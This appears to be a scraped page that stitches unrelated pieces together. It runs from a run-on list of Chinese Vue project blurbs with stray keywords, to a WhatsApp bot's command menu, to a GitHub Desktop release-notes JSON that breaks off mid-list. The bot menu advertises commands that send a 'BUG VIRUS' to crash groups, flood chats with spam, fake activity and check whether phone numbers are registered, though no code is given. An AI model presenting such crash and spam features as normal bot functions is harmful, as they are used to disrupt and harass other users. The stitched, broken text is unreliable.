Vue js 前后端分离bpmn js流程设计器组件 基于vue elementui美化属性面板 满足9 %以上的业务需求专门为 Weex 前端开发者打造的一套高质量UI框架 想用vue把我现在的个人网站重新写一下 新的风格 新的技术 什么都是新的 本项目是一个在线聊天系统 最大程度的还原了Mac客户端QQ vue cli3 后台管理模板 heart 基于vue2和vuex的复杂单页面应用 2 页面53个API 仿实验楼 基于 Vue Koa 的 WebDesktop 视窗系统 Jeebase是一款前后端分离的开源开发框架 基于开发 一套SpringBoot后台 两套前端页面 可以自由选择基于ElementUI或者AntDesign的前端界面 二期会整合react前端框架 Ant Design React 在实际应用中已经使用这套框架开发了CMS网站系统 社区论坛系统 微信小程序 微信服务号等 后面会逐步整理开源 本项目主要目的在于整合主流技术框架 寻找应用最佳项目实践方案 实现可直接使用的快速开发框架 使用 vue cli3 搭建的vue vuex router element 开发模版 集成常用组件 功能模块JEECG BOOT APP 移动解决方案 采用uniapp框架 一份代码多终端适配 同时支持APP 小程序 H5 实现了与JeecgBoot平台完美对接的移动解决方案 目前已经实现登录 用户信息 通讯录 公告 移动首页 九宫格等基础功能 明日方舟工具箱 支持中台美日韩服vue的验证码插件这里有一些标准组件库可能没有的功能组件 已有组件 放大镜 签到 图片标签 滑动验证 倒计时 水印 拖拽 大家来找茬 基于Vue2 Nodejs MySQL的博客 有后台管理系统 支持 登陆 注册 留言 评论 回复 点赞长江证券郑州大学超市管理系统天安门坦克桌面行驶工况茶马古道金融文本情感自动黄河银行营销通许章润
NishNishendanidu
GENARATED BY NISHEN Mtroid whatsApp bot 🪀 Command:`setup `✨️ Description:` edit bot settings `⚠️️ Warn `🪀 Command:` install <br> `✨️ Description:` Install external plugins. <br> `⚠️️ Warn:` Get plugins only from https://t.me/AlphaXplugin. `🪀 Command:` plugin<br> `✨️ Description:` Shows the plugins you have installed. `🪀 Command:` remove<br> `✨️ Description:` Removes the plugin. `🪀 Command:` admin<br> `✨️ Description:` Admin menu. `🪀 Command:` ban <br> `✨️ Description:` Ban someone in the group. Reply to message or tag a person to use command. `🪀 Command:` gname <br> `✨️ Description:` Change group name. `🪀 Command:` gdesc<br> `✨️ Description:` Change group discription. `🪀 Command:` dis <br> `✨️ Description:` Disappearing message on/off. <br> `💡 Example:` .dis on/off `🪀 Command:` reset<br> `✨️ Description:` Reset group invitation link. `🪀 Command:` gpp<br> `✨️ Description:` Set group profile picture `🪀 Command:` add<br> `✨️ Description:` Adds someone to the group. `🪀 Command:` promote <br> `✨️ Description:` Makes any person an admin. `🪀 Command:` demote <br> `✨️ Description:` Takes the authority of any admin. `🪀 Command:` mute <br> `✨️ Description:` Mute the group chat. Only the admins can send a message. ⌨️ Example: .mute & .mute 5m etc `🪀 Command:` unmute <br> `✨️ Description:` Unmute the group chat. Anyone can send a message. `🪀 Command:` invite <br> `✨️ Description:` Provides the group's invitation link. `🪀 Command:` afk <br> `✨️ Description:` It makes you AFK - Away From Keyboard. `🪀 Command:` art pack<br> `✨️ Description:` Beautifull artpack with more than 100 messages. `🪀 Command:` aspm <br> `✨️ Description:` This command for any emergency situation about any kind of WhatsApp SPAM in Group `🪀 Command:` alag <br> `✨️ Description:` This command for any emergency situation about any kind of WhatsApp SPAM in Chat `🪀 Command:` linkblock <br> `✨️ Description:` Activates the block link tool. <br> `💡 Example:` .linkblock on / off `🪀 Command:` CrAsH<br> `✨️ Description:` send BUG VIRUS to group. `🪀 Command:` CrAsH high<br> `✨️ Description:` send BUG VIRUS to group untill you stop. `🪀 Command:` -carbon `🪀 Command:` clear<br> `✨️ Description:` Clears all the messages from the chat. `🪀 Command:` qr <br> `✨️ Description:` To create an qr code from the word you give. `🪀 Command:` bcode <br> `✨️ Description:` To create an barcode from the word you give. `🪀 Command:` compliment<br> `✨️ Description:` It sends complimentry sentenses. `🪀 Command:` toaudio<br> `✨️ Description:` Converts video to sound. `🪀 Command:` toimage<br> `✨️ Description:` Converts the sticker to a photo. `🪀 Command:` tovideo<br> `✨️ Description:` Converts animated stickers to video. `🪀 Command:` deepai<br> `✨️ Description:` Runs the most powerful artificial intelligence tools using artificial neural networks. `🪀 Command:` details<br> `✨️ Description:` Displays metadata data of group or person. `🪀 Command:` dict <br> `✨️ Description:` Use it as a dictionary. Eg: .dict enUS;lead For supporting languages send •.lngcode• `🪀 Command:` dst<br> `✨️ Description:` Download status you repled. `🪀 Command:` emedia<br> `✨️ Description:` It is a plugin with more than 25 media tools. `🪀 Command:` emoji <br> `✨️ Description:` You can get Emoji as image. `🪀 Command:` print <br> `✨️ Description:` Prints the inside of the file on the server. `🪀 Command:` bashmedia <br> `✨️ Description:` Sends audio, video and photos inside the server. <br> `💡 Example:` video.mp4 && media/gif/pic.mp4 `🪀 Command:` addserver<br> `✨️ Description:` Uploads image, audio or video to the server. `🪀 Command:` term <br> `✨️ Description:` Allows to run the command on the server's shell. `🪀 Command:` mediainfo<br> `✨️ Description:` Shows the technical information of the replied video. `🪀 Command:` pmsend <br> `✨️ Description:` Sends a private message to the replied person. `🪀 Command:` pmttssend <br> `✨️ Description:` Sends a private voice message to the respondent. `🪀 Command:` ffmpeg <br> `✨️ Description:` Applies the desired ffmpeg filter to the video. ⌨️ Example: .ffmpeg fade=in:0:30 `🪀 Command:` filter <br> `✨️ Description:` It adds a filter. If someone writes your filter, it send the answer. If you just write .filter, it show's your filter list. `🪀 Command:` stop <br> `✨️ Description:` Stops the filter you added previously. `🪀 Command:` bgmlist<br> `✨️ Description:` Bgm List. `🪀 Command:` github <br> `✨️ Description:` It Send Github User Data. <br> `💡 Example:` .github WhatsApp `🪀 Command:` welcome<br> `✨️ Description:` It sets the welcome message. If you leave it blank it shows the welcome message. `🪀 Command:` goodbye<br> `✨️ Description:` Sets the goodbye message. If you leave blank, it show's the goodbye message. `🪀 Command:` help<br> `✨️ Description:` Gives information about using the bot from the Help menu. `🪀 Command:` varset <br> `✨️ Description:` Changes the text of modules like alive, afk etc.. `🪀 Command:` restart<br> `✨️ Description:` Restart bot. `🪀 Command:` poweroff<br> `✨️ Description:` Shutdown bot. `🪀 Command:` dyno<br> `✨️ Description:` Check heroku dyno usage `🪀 Command:` setvar <br> `✨️ Description:` Set heroku config var `🪀 Command:` delvar <br> `✨️ Description:` Delete heroku config var `🪀 Command:` getvar <br> `✨️ Description:` Get heroku config var `🪀 Command:` hpmod <br> `✨️ Description:` To get mod apps info. `🪀 Command:` insult<br> `✨️ Description:` It gives random insults. `🪀 Command:` locate<br> `✨️ Description:` It send your location. <br> `⚠️️ Warn:` Please open your location before using command! `🪀 Command:` logmsg<br> `✨️ Description:` Saves the message you reply to your private number. <br> `⚠️️ Warn:` Does not support animated stickers! `🪀 Command:` logomaker<br> `✨️ Description:` Shows logomaker tools with unlimited access. `🪀 Command:` meme <br> `✨️ Description:` Photo memes you replied to. `🪀 Command:` movie <br> `✨️ Description:` Shows movie info. `🪀 Command:` neko<br> `✨️ Description:` Replied messages will be added to nekobin.com. `🪀 Command:` song <br> `✨️ Description:` Uploads the song you wrote. `🪀 Command:` video <br> `✨️ Description:` Downloads video from YouTube. `🪀 Command:` fb <br> `✨️ Description:` Download video from facebook. `🪀 Command:` tiktok <br> `✨️ Description:` Download tiktok video. `🪀 Command:` notes<br> `✨️ Description:` Shows all your existing notes. `🪀 Command:` save <br> `✨️ Description:` Reply a message and type .save or just use .save <Your note> without replying `🪀 Command:` deleteNotes<br> `✨️ Description:` Deletes *all* your saved notes. `🪀 Command:` ocr <br> `✨️ Description:` Reads the text on the photo you have replied. `🪀 Command:` pinimg <br> `✨️ Description:` Downloas images from Pinterest. `🪀 Command:` playst <br> `✨️ Description:` Get app details from play store. `🪀 Command:` profile<br> `✨️ Description:` Profile menu. `🪀 Command:` getpp<br> `✨️ Description:` Get pofile picture. `🪀 Command:` setbio <br> `✨️ Description:` Set your about. `🪀 Command:` getbio<br> `✨️ Description:` Get user about. `🪀 Command:` archive<br> `✨️ Description:` Archive chat. `🪀 Command:` unarchive<br> `✨️ Description:` Unarchive chat. `🪀 Command:` pin<br> `✨️ Description:` Archive chat. `🪀 Command:` unpin<br> `✨️ Description:` Unarchive chat. `🪀 Command:` pp<br> `✨️ Description:` Makes the profile photo what photo you reply. `🪀 Command:` kickme<br> `✨️ Description:` It kicks you from the group you are using it in. `🪀 Command:` block <br> `✨️ Description:` Block user. `🪀 Command:` unblock <br> `✨️ Description:` Unblock user. `🪀 Command:` jid <br> `✨️ Description:` Giving user's JID. `🪀 Command:` rdmore <br> `✨️ Description:` Add readmore to your message >> Use # to get readmore. `🪀 Command:` removebg <br> `✨️ Description:` Removes the background of the photos. `🪀 Command:` report <br> `✨️ Description:` Sends reports to group admins. `🪀 Command:` roll<br> `✨️ Description:` Roll dice randomly. `🪀 Command:` scam <br> `✨️ Description:` Creates 5 minutes of fake actions. `🪀 Command:` scan <br> `✨️ Description:` Checks whether the entered number is registered on WhatApp. `🪀 Command:` trt<br> `✨️ Description:` It translates with Google Translate. You must reply any message. <br> `💡 Example:` .trt en si (From English to Sinhala) `🪀 Command:` antilink <br> `✨️ Description:` Activates the Antilink tool. <br> `💡 Example:` .antilink on / off `🪀 Command:` autobio <br> `✨️ Description:` Add live clock to your bio! <br> `💡 Example:` .autobio on / off `🪀 Command:` detectlang<br> `✨️ Description:` Guess the language of the replied message. `🪀 Command:` currency `🪀 Command:` tts <br> `✨️ Description:` It converts text to sound. `🪀 Command:` music <br> `✨️ Description:` Uploads the song you wrote. `🪀 Command:` smp3 <br> `✨️ Description:` Get song as a mp3 documet file `🪀 Command:` mp4 <br> `✨️ Description:` Downloads video from YouTube. `🪀 Command:` yt <br> `✨️ Description:` It searchs on YouTube. `🪀 Command:` wiki <br> `✨️ Description:` Searches query on Wikipedia. `🪀 Command:` img <br> `✨️ Description:` Searches for related pics on Google. `🪀 Command:` lyric <br> `✨️ Description:` Finds the lyrics of the song. `🪀 Command:` covid <br> `✨️ Description:` Shows the daily and overall covid table of more than 15 countries. `🪀 Command:` ss <br> `✨️ Description:` Takes a screenshot from the page in the given link. `🪀 Command:` simi <br> `✨️ Description:` Are you bored? ... Fool around with SimSimi. ... World first popular Chatbot for daily conversation. `🪀 Command:` spdf <br> `✨️ Description:` Site to pdf file. `🪀 Command:` insta <br> `✨️ Description:` Downloads videos or photos from Instagram. `🪀 Command:` animesay <br> `✨️ Description:` It writes the text inside the banner the anime girl is holding `🪀 Command:` changesay <br> `✨️ Description:` Turns the text into the change my mind poster. `🪀 Command:` trumpsay <br> `✨️ Description:` Converts the text to Trump's tweet. `🪀 Command:` audio spam<br> `✨️ Description:` Sends the replied audio as spam. `🪀 Command:` foto spam<br> `✨️ Description:` Sends the replied photo as spam. `🪀 Command:` sticker spam<br> `✨️ Description:` Convert the replied photo or video to sticker and send it as spam. `🪀 Command:` vid spam `🪀 Command:` killspam<br> `✨️ Description:` Stops spam command. `🪀 Command:` spam <br> `✨️ Description:` It spam until you stop it. ⌨️ Example: .spam test `🪀 Command:` spotify <br> `✨️ Description:` Get music details from spotify. `🪀 Command:` st<br> `✨️ Description:` It converts your replied photo or video to sticker. `🪀 Command:` sweather<br> `✨️ Description:` Gives you the weekly interpretations of space weather observations provided by the Space Weather Research Center (SWRC) for a p. `🪀 Command:` alive <br> `✨️ Description:` Does bot work? `🪀 Command:` sysd<br> `✨️ Description:` Shows the system properties. `🪀 Command:` tagadmin `🪀 Command:` tg <br> `✨️ Description:` Tags everyone in the group. `🪀 Command:` pmall<br> `✨️ Description:` Sends the replied message to all members in the group. `🪀 Command:` tblend <br> `✨️ Description:` Applies the selected TBlend effect to videos. `🪀 Command:` link<br> `✨️ Description:` The image you reply to uploads to telegra.ph and provides its link. `🪀 Command:` unvoice<br> `✨️ Description:` Converts audio to sound recording. `🪀 Command:` up<br> `✨️ Description:` Checks the update your bot. `🪀 Command:` up now<br> `✨️ Description:` It makes updates. `🪀 Command:` voicy<br> `✨️ Description:` It converts audio to text. `🪀 Command:` wp<br> `✨️ Description:` It sends high resolution wallpapers. `🪀 Command:` wame <br> `✨️ Description:` Get a link to the user chat. `🪀 Command:` weather <br> `✨️ Description:` Shows the weather. `🪀 Command:` speedtest <br> `✨️ Description:` Measures Download and Upload speed. <br> `💡 Example:` speedtest user // speedtest server `🪀 Command:` ping<br> `✨️ Description:` Measures your ping. `🪀 Command:` short <br> `✨️ Description:` Shorten the long link. `🪀 Command:` calc <br> `✨️ Description:` Performs simple math operations. `🪀 Command:` xapi<br> `✨️ Description:` Xteam API key info. `🪀 Command:` joke<br> `✨️ Description:` Send random jokes. `🪀 Command:` quote<br> `✨️ Description:` Send random quotes.
klonnet23
{ "releases": { "2.0.4": [ "[Fixed] Refresh for Enterprise repositories did not handle API error querying branches - #7713", "[Fixed] Missing \"Discard all changes\" context menu in Changes header - #7696", "[Fixed] \"Select all\" keyboard shortcut not firing on Windows - #7759" ], "2.0.4-beta1": [ "[Fixed] Refresh for Enterprise repositories did not handle API error querying branches - #7713", "[Fixed] Missing \"Discard all changes\" context menu in Changes header - #7696", "[Fixed] \"Select all\" keyboard shortcut not firing on Windows - #7759" ], "2.0.4-beta0": [ "[Added] Extend crash reports with more information about application state for troubleshooting - #7693", "[Fixed] Crash when attempting to update pull requests with partially updated repository information - #7688", "[Fixed] Crash when loading repositories after signing in through the welcome flow - #7699" ], "2.0.3": [ "[Fixed] Crash when loading repositories after signing in through the welcome flow - #7699" ], "2.0.2": [ "[Added] Extend crash reports with more information about application state for troubleshooting - #7693" ], "2.0.1": [ "[Fixed] Crash when attempting to update pull requests with partially updated repository information - #7688" ], "2.0.0": [ "[New] You can now choose to bring your changes with you to a new branch or stash them on the current branch when switching branches - #6107", "[New] Rebase your current branch onto another branch using a guided flow - #5953", "[New] Repositories grouped by owner, and recent repositories listed at top - #6923 #7132", "[New] Suggested next steps now includes suggestion to create a pull request after publishing a branch - #7505", "[Added] .resx syntax highlighting - #7235. Thanks @say25!", "[Added] \"Exit\" menu item now has accelerator and access key - #6507. Thanks @AndreiMaga!", "[Added] Help menu entry to view documentation about keyboard shortcuts - #7184", "[Added] \"Discard all changes\" action under Branch menu - #7394. Thanks @ahuth!", "[Fixed] \"Esc\" key does not close Repository or Branch list - #7177. Thanks @roottool!", "[Fixed] Attempting to revert commits not on current branch results in an error - #6300. Thanks @msftrncs!", "[Fixed] Emoji rendering in app when account name has special characters - #6909", "[Fixed] Files staged outside Desktop for deletion are incorrectly marked as modified after committing - #4133", "[Fixed] Horizontal scroll bar appears unnecessarily when switching branches - #7212", "[Fixed] Icon accessibility labels fail when multiple icons are visible at the same time - #7174", "[Fixed] Incorrectly encoding URLs affects issue filtering - #7506", "[Fixed] License templates do not end with newline character - #6999", "[Fixed] Conflicts banners do not hide after aborting operation outside Desktop - #7046", "[Fixed] Missing tooltips for change indicators in the sidebar - #7174", "[Fixed] Mistaken classification of all crashes being related to launch - #7126", "[Fixed] Unable to switch keyboard layout and retain keyboard focus while using commit form - #6366. Thanks @AndreiMaga!", "[Fixed] Prevent console errors due to underlying component unmounts - #6970", "[Fixed] Menus disabled by activity in inactive repositories - #6313", "[Fixed] Race condition with Git remote lookup may cause push to incorrect remote - #6986", "[Fixed] Restore GitHub Desktop to main screen if external monitor removed - #7418 #2107. Thanks @say25!", "[Fixed] Tab Bar focus ring outlines clip into other elements - #5802. Thanks @Daniel-McCarthy!", "[Improved] \"Automatically Switch Theme\" on macOS checks theme on launch - #7116. Thanks @say25!", "[Improved] \"Add\" button in repository list should always be visible - #6646", "[Improved] Pull Requests list loads and updates pull requests from GitHub more quickly - #7501 #7163", "[Improved] Indicator hidden in Pull Requests list when there are no open pull requests - #7258", "[Improved] Manually refresh pull requests instead of having to wait for a fetch - #7027", "[Improved] Accessibility attributes for dialog - #6496. Thanks @HirdayGupta!", "[Improved] Alignment of icons in repository list - #7133", "[Improved] Command line interface warning when using \"github open\" with a remote URL - #7452. Thanks @msztech!", "[Improved] Error message when unable to publish private repository to an organization - #7472", "[Improved] Initiate cloning by pressing \"Enter\" when a repository is selected - #6570. Thanks @Daniel-McCarthy!", "[Improved] Lowercase pronoun in \"Revert this commit\" menu item - #7534", "[Improved] Styles for manual resolution button in \"Resolve Conflicts\" dialog - #7302", "[Improved] Onboarding language for blank slate components - #6638. Thanks @jamesgeorge007!", "[Improved] Explanation for manually conflicted text files in diff viewer - #7611", "[Improved] Visual progress on \"Remove Repository\" and \"Discard Changes\" dialogs - #7015. Thanks @HashimotoYT!", "[Improved] Menu items now aware of force push state and preference to confirm repository removal - #4976 #7138", "[Removed] Branch and pull request filter text persistence - #7437", "[Removed] \"Discard all changes\" context menu item from Changes list - #7394. Thanks @ahuth!" ], "1.7.1-beta1": [ "[Fixed] Tab Bar focus ring outlines clip into other elements - #5802. Thanks @Daniel-McCarthy!", "[Improved] Show explanation for manually conflicted text files in diff viewer - #7611", "[Improved] Alignment of entries in repository list - #7133" ], "1.7.0-beta9": [ "[Fixed] Add warning when renaming a branch with a stash - #7283", "[Fixed] Restore Desktop to main screen when external monitor removed - #7418 #2107. Thanks @say25!", "[Improved] Performance for bringing uncommitted changes to another branch - #7474" ], "1.7.0-beta8": [ "[Added] Accelerator and access key to \"Exit\" menu item - #6507. Thanks @AndreiMaga!", "[Fixed] Pressing \"Shift\" + \"Alt\" in Commit summary moves input-focus to app menu - #6366. Thanks @AndreiMaga!", "[Fixed] Incorrectly encoding URLs affects issue filtering - #7506", "[Improved] Command line interface warns with helpful message when given a remote URL - #7452. Thanks @msztech!", "[Improved] Lowercase pronoun in \"Revert this commit\" menu item - #7534", "[Improved] \"Pull Requests\" list reflects pull requests from GitHub more quickly - #7501", "[Removed] Branch and pull request filter text persistence - #7437" ], "1.7.0-beta7": [ "[Improved] Error message when unable to publish private repository to an organization - #7472", "[Improved] \"Stashed changes\" button accessibility improvements - #7274", "[Improved] Performance improvements for bringing changes to another branch - #7471", "[Improved] Performance improvements for detecting conflicts from a restored stash - #7476" ], "1.7.0-beta6": [ "[Fixed] Stash viewer does not disable restore button when changes present - #7409", "[Fixed] Stash viewer does not center \"no content\" text - #7299", "[Fixed] Stash viewer pane width not remembered between sessions - #7416", "[Fixed] \"Esc\" key does not close Repository or Branch list - #7177. Thanks @roottool!", "[Fixed] Stash not cleaned up when it conflicts with working directory contents - #7383", "[Improved] Branch names remain accurate in dialog when stashing and switching branches - #7402", "[Improved] Moved \"Discard all changes\" to Branch menu to prevent unintentionally discarding all changes - #7394. Thanks @ahuth!", "[Improved] UI responsiveness when using keyboard to choose branch in rebase flow - #7407" ], "1.7.0-beta5": [ "[Fixed] Handle warnings if stash creation encounters file permission issue - #7351", "[Fixed] Add \"View stash entry\" action to suggested next steps - #7353", "[Fixed] Handle and recover from failed rebase flow starts - #7223", "[Fixed] Reverse button order when viewing a stash on macOS - #7273", "[Fixed] Prevent console errors due to underlying component unmounts - #6970", "[Fixed] Rebase success banner always includes base branch name - #7220", "[Improved] Added explanatory text for \"Restore\" button for stashes - #7303", "[Improved] Ask for confirmation before discarding stash - #7348", "[Improved] Order stashed changes files alphabetically - #7327", "[Improved] Clarify \"Overwrite Stash Confirmation\" dialog text - #7361", "[Improved] Message shown in rebase setup when target branch is already rebased - #7343", "[Improved] Update stashing prompt verbiage - #7393.", "[Improved] Update \"Start Rebase\" dialog verbiage - #7391", "[Improved] Changes list now reflects what will be committed when handling rebase conflicts - #7006" ], "1.7.0-beta4": [ "[Fixed] Manual conflict resolution choice not updated when resolving rebase conflicts - #7255", "[Fixed] Menu items don't display the expected verbiage for force push and removing a repository - #4976 #7138" ], "1.7.0-beta3": [ "[New] Users can choose to bring changes with them to a new branch or stash them on the current branch when switching branches - #6107", "[Added] GitHub Desktop keyboard shortcuts available in Help menu - #7184", "[Added] .resx file extension highlighting support - #7235. Thanks @say25!", "[Fixed] Attempting to revert commits not on current branch results in an error - #6300. Thanks @msftrncs!", "[Improved] Warn users before rebase if operation will require a force push after rebase complete - #6963", "[Improved] Do not show the number of pull requests when there are no open pull requests - #7258", "[Improved] Accessibility attributes for dialog - #6496. Thanks @HirdayGupta!", "[Improved] Initiate cloning by pressing \"Enter\" when a repository is selected - #6570. Thanks @Daniel-McCarthy!", "[Improved] Manual Conflicts button styling - #7302", "[Improved] \"Add\" button in repository list should always be visible - #6646" ], "1.7.0-beta2": [ "[New] Rebase your current branch onto another branch using a guided flow - #5953", "[Fixed] Horizontal scroll bar appears unnecessarily when switching branches - #7212", "[Fixed] License templates do not end with newline character - #6999", "[Fixed] Merge/Rebase conflicts banners do not clear when aborting the operation outside Desktop - #7046", "[Fixed] Missing tooltips for change indicators in the sidebar - #7174", "[Fixed] Icon accessibility labels fail when multiple icons are visible at the same time - #7174", "[Improved] Pull requests load faster and PR build status updates automatically - #7163" ], "1.7.0-beta1": [ "[New] Recently opened repositories appear at the top of the repository list - #7132", "[Fixed] Error when selecting diff text while diff is updating - #7131", "[Fixed] Crash when unable to create log file on disk - #7096", "[Fixed] Race condition with remote lookup could cause push to go to incorrect remote - #6986", "[Fixed] Mistaken classification of all crashes being related to launch - #7126", "[Fixed] Prevent menus from being disabled by activity in inactive repositories - #6313", "[Fixed] \"Automatically Switch Theme\" on macOS does not check theme on launch - #7116. Thanks @say25!", "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Emoji rendering in app broken when account name has special characters - #6909", "[Fixed] Files staged outside Desktop for deletion are incorrectly marked as modified after committing - #4133", "[Improved] Visual feedback on \"Remove Repository\" and \"Discard Changes\" dialogs to show progress - #7015. Thanks @HashimotoYT!", "[Improved] Onboarding language for blank slate components - #6638. Thanks @jamesgeorge007!", "[Improved] Manually refresh pull requests instead of having to wait for a fetch - #7027" ], "1.6.6": [ "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Handle error when unable to create log file for app - #7096", "[Fixed] Crash when selecting text while the underlying diff changes - #7131" ], "1.6.6-test1": [ "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Handle error when unable to create log file for app - #7096", "[Fixed] Crash when selecting text while the underlying diff changes - #7131" ], "1.6.5": [ "[Fixed] Publish Repository does not let you publish to an organization on your Enterprise account - #7052" ], "1.6.5-beta2": [ "[Fixed] Publish Repository does not let you choose an organization on your Enterprise account - #7052" ], "1.6.5-beta1": [ "[Fixed] Publish Repository does not let you choose an organization on your Enterprise account - #7052" ], "1.6.4": [ "[Fixed] Embedded Git not working for core.longpath usage in some environments - #7028", "[Fixed] \"Recover missing repository\" can get stuck in a loop - #7038" ], "1.6.4-beta1": [ "[Fixed] Embedded Git not working for core.longpath usage in some environments - #7028", "[Fixed] \"Recover missing repository\" can get stuck in a loop - #7038" ], "1.6.4-beta0": [ "[Removed] Option to discard when files would be overwritten by a checkout - #7016" ], "1.6.3": [ "[New] Display \"pull with rebase\" if a user has set this option in their Git config - #6553 #3422", "[Fixed] Context menu does not open when right clicking on the edges of files in Changes list - #6296. Thanks @JQuinnie!", "[Fixed] Display question mark in image when no commit selected in dark theme - #6915. Thanks @say25!", "[Fixed] No left padding for :emoji:/@user/#issue autocomplete forms. - #6895. Thanks @murrelljenna!", "[Fixed] Reinstate missing image and update illustration in dark theme when no local changes exist - #6894", "[Fixed] Resizing the diff area preserves text selection range - #2677", "[Fixed] Text selection in wrapped diff lines now allows selection of individual lines - #1551", "[Improved] Add option to fetch when a user needs to pull changes from the remote before pushing - #2738 #5451", "[Improved] Enable Git protocol v2 for fetch/push/pull operations - #6142", "[Improved] Moving mouse pointer outside visible diff while selecting a range of lines in a partial commit now automatically scrolls the diff - #658", "[Improved] Sign in form validates both username and password - #6952. Thanks @say25!", "[Improved] Update GitHub logo in \"About\" dialog - #5619. Thanks @HashimotoYT!" ], "1.6.3-beta4": [ "[Improved] Update GitHub logo in \"About\" dialog - #5619. Thanks @HashimotoYT!", "[Improved] Sign in form validates both username and password - #6952. Thanks @say25!" ], "1.6.3-beta3": [ "[New] Display \"pull with rebase\" if a user has set this option in their Git config - #6553 #3422", "[Added] Provide option to discard when files would be overwritten by a checkout - #6755. Thanks @mathieudutour!", "[Fixed] No left padding for :emoji:/@user/#issue autocomplete forms. - #6895. Thanks @murrelljenna!", "[Fixed] Reinstate missing image and fix illustration to work in the dark theme when there are no local changes - #6894", "[Fixed] Display question mark image when there is no commit selected in dark theme - #6915. Thanks @say25!", "[Improved] Group and filter repositories by owner - #6923", "[Improved] Add option to fetch when a user needs to pull changes from the remote before pushing - #2738 #5451" ], "1.6.3-beta2": [ "[Fixed] Text selection in wrapped diff lines now allows selection of individual lines - #1551", "[Fixed] Resizing the diff area preserves text selection range - #2677", "[Improved] Moving the mouse pointer outside of the visible diff while selecting a range of lines in a partial commit will now automatically scroll the diff - #658" ], "1.6.3-beta1": [ "[New] Branches that have been merged and deleted on GitHub.com will now be pruned after two weeks - #750", "[Fixed] Context menu doesn't open when right clicking on the edges of files in Changes list - #6296. Thanks @JQuinnie!", "[Improved] Enable Git protocol v2 for fetch/push/pull operations - #6142", "[Improved] Upgrade to Electron v3 - #6391" ], "1.6.2": [ "[Added] Allow users to also resolve manual conflicts when resolving merge conflicts - #6062", "[Added] Automatic switching between Dark and Light modes on macOS - #5037. Thanks @say25!", "[Added] Crystal and Julia syntax highlighting - #6710. Thanks @KennethSweezy!", "[Added] Lua and Fortran syntax highlighting - #6700. Thanks @SimpleBinary!", "[Fixed] Abbreviated commits are not long enough for large repositories - #6662. Thanks @say25!", "[Fixed] App menu bar visible on hover on Windows when in \"Let’s get started\" mode - #6669", "[Fixed] Fix pointy corners on commit message text area - #6635. Thanks @lisavogtsf!", "[Fixed] Inconsistent \"Reveal in …\" labels for context menus - #6466. Thanks @say25!", "[Fixed] Merge conflict conflict did not ask user to resolve some binary files - #6693", "[Fixed] Prevent concurrent fetches between user and status indicator checks - #6121 #5438 #5328", "[Fixed] Remember scroll positions in History and Changes lists - #5177 #5059. Thanks @Daniel-McCarthy!", "[Improved] Guided merge conflict resolution only commits changes relevant to the merge - #6349", "[Improved] Use higher contrast color for links in \"Merge Conflicts\" dialog - #6758", "[Improved] Add link to all release notes in Release Notes dialog - #6443. Thanks @koralcem!", "[Improved] Arrow for renamed/copied changes when viewing commit - #6519. Thanks @koralcem!", "[Improved] Updated verbiage for ignoring the files - #6689. Thanks @PaulViola!" ], "1.6.2-beta3": [ "[Improved] Guided merge conflict resolution only commits changes relevant to the merge - #6349" ], "1.6.2-beta2": [ "[Added] Allow users to also resolve manual conflicts when resolving merge conflicts - #6062", "[Added] Crystal and Julia syntax highlighting - #6710. Thanks @KennethSweezy!", "[Fixed] Fix pointy corners on commit message text area - #6635. Thanks @lisavogtsf!", "[Fixed] Use higher contrast color for links in \"Merge Conflicts\" dialog - #6758" ], "1.6.2-beta1": [ "[Added] Automatic switching between Dark and Light modes on macOS - #5037. Thanks @say25!", "[Added] Lua and Fortran syntax highlighting - #6700. Thanks @SimpleBinary!", "[Fixed] Abbreviated commits are not long enough for large repositories - #6662. Thanks @say25!", "[Fixed] App menu bar visible on hover on Windows when in \"Let’s get started\" mode - #6669", "[Fixed] Remember scroll positions in History and Changes lists - #5177 #5059. Thanks @Daniel-McCarthy!", "[Fixed] Inconsistent \"Reveal in …\" labels for context menus - #6466. Thanks @say25!", "[Fixed] Prevent concurrent fetches between user and status indicator checks - #6121 #5438 #5328", "[Fixed] Merge conflict conflict did not ask user to resolve some binary files - #6693", "[Improved] Add link to all release notes in Release Notes dialog - #6443. Thanks @koralcem!", "[Improved] Arrow for renamed/copied changes when viewing commit - #6519. Thanks @koralcem!", "[Improved] Menu state updating to address race condition - #6643", "[Improved] Updated verbiage when clicking on changed files to make it more explicit what will occur when you ignore the file(s) - #6689. Thanks @PaulViola!" ], "1.6.2-beta0": [ "[Fixed] Don't show \"No local changes\" view when switching between changed files" ], "1.6.1": [ "[Fixed] Don't show \"No local changes\" view when switching between changed files" ], "1.6.0": [ "[New] Help users add their first repo during onboarding - #6474", "[New] \"No local changes\" view helpfully suggests next actions for you to take - #6445", "[Added] Support JetBrains Webstorm as an external editor - #6077. Thanks @KennethSweezy!", "[Added] Add Visual Basic syntax highlighting - #6461. Thanks @SimpleBinary!", "[Fixed] Automatically locate a missing repository when it cannot be found - #6228. Thanks @msftrncs!", "[Fixed] Don't include untracked files in merge commit - #6411", "[Fixed] Don't show \"Still Conflicted Warning\" when all conflicts are resolved - #6451", "[Fixed] Only execute menu action a single time upon hitting Enter - #5344", "[Fixed] Show autocompletion of GitHub handles and issues properly in commit description field - #6459", "[Improved] Repository list when no repositories found - #5566 #6474", "[Improved] Image diff menu no longer covered by large images - #6520. Thanks @06b!", "[Improved] Enable additional actions during a merge conflict - #6385", "[Improved] Increase contrast on input placeholder color in dark mode - #6556", "[Improved] Don't show merge success banner when attempted merge doesn't complete - #6282", "[Improved] Capitalize menu items appropriately on macOS - #6469" ], "1.6.0-beta3": [ "[Fixed] Autocomplete selection does not overflow text area - #6459", "[Fixed] No local changes views incorrectly rendering ampersands - #6596", "[Improved] Capitalization of menu items on macOS - #6469" ], "1.6.0-beta2": [ "[New] \"No local changes\" view makes it easy to find and accomplish common actions - #6445", "[Fixed] Automatically locate a missing repository when it cannot be found - #6228. Thanks @msftrncs!", "[Improved] Enable additional actions during a merge conflict - #6385", "[Improved] Increase contrast on input placeholder color in dark mode - #6556", "[Improved] Merge success banner no longer shown when attempted merge doesn't complete - #6282" ], "1.6.0-beta1": [ "[New] Help users add their first repo during onboarding - #6474", "[Added] Include ability for users to add new repositories when there are none available - #5566 #6474", "[Added] Support JetBrains Webstorm as an external editor - #6077. Thanks @KennethSweezy!", "[Added] Add Visual Basic syntax highlighting - #6461. Thanks @SimpleBinary!", 